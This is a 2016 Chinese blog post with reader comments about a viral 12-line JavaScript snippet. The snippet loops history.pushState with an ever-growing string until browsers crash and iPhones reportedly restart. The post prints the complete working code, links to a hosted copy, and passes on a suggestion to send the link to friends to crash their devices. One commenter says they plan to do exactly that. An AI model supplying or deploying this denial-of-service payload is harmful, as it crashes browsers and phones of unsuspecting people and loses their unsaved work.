神秘12行代码:分分钟让你电脑崩溃手机重启

2,102 次浏览次阅读
5条评论

最近,一段神秘的 12 行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone 秒重启。到底是什么代码这么神奇?

上周, 国外网友 Cyber Security@cyber__sec 在 Twitter 上发布了这样一段推文

神秘

使用下面这段 javascript 代码,能让 Firefox、Chrome、Safari 浏览器崩溃,还能让 iPhone 重启 ”。

事实上,更早的时候,IT Security Tweets ™ @F1r3h4nd 也发布类似的内容:

神秘

“把下面这个脚本链接发送给你的朋友,搞瘫他的浏览器,让他的 iPhone 重启。”喏,就是下面这段代码:

<html>
<body>
<script>
var total=””;
for (var i=0;i<1000000;i++)
{
total= total+i.toString ();
history.pushState (0,0,total);
}
</script>
</body>
</html>

狸卡司也将此代码做成了链接:http://down.nmzh.net/sueri/demo.html(不怕死的可以自己试试或发给朋友看看,请提前保存好浏览器内容)

网友验证, 如果是 PC 用户,内存使用率一路狂飙,浏览器会瞬间卡死;如果是手机用户,点开链接浏览器会闪退,而微博、微信内打开链接同样会闪退。如果是 iPhone 用户使用 Safari 打开之后链接,手机重启。

为什么会这样呢?

有知乎网友给出这样的解答

“history.pushstate() 是 HTML5 引入的 API,pushState 将指定的 URL 添加到浏览器历史里, 存储当前历史记录点。当 i<100000 的时候会循环的将 total 记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。”

 

酥耳狸
版权声明:本站原创文章,由 酥耳狸 2016-01-22发表,共计731字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(5条评论)
载入中...
2016-01-27 23:35:36 回复

准备转过去玩玩!

DuoshuoDuoshuo1.2
Corps
2016-01-31 23:14:07 回复

嗯。对历史记录进行处理,比单纯死循环要高明

DuoshuoDuoshuo1.2
    Sueri_锐 博主
    2016-02-02 16:59:32 回复

    @Corps 历史记录处理越多,CPU占用越高=3= 太可怕了

    DuoshuoDuoshuo1.2
陌小雨博客 评论达人 LV.1
2016-02-11 22:52:42 回复

收藏了

DuoshuoDuoshuo1.2
顶顶
2016-07-23 15:45:50 回复

貌似没用了

DuoshuoDuoshuo1.2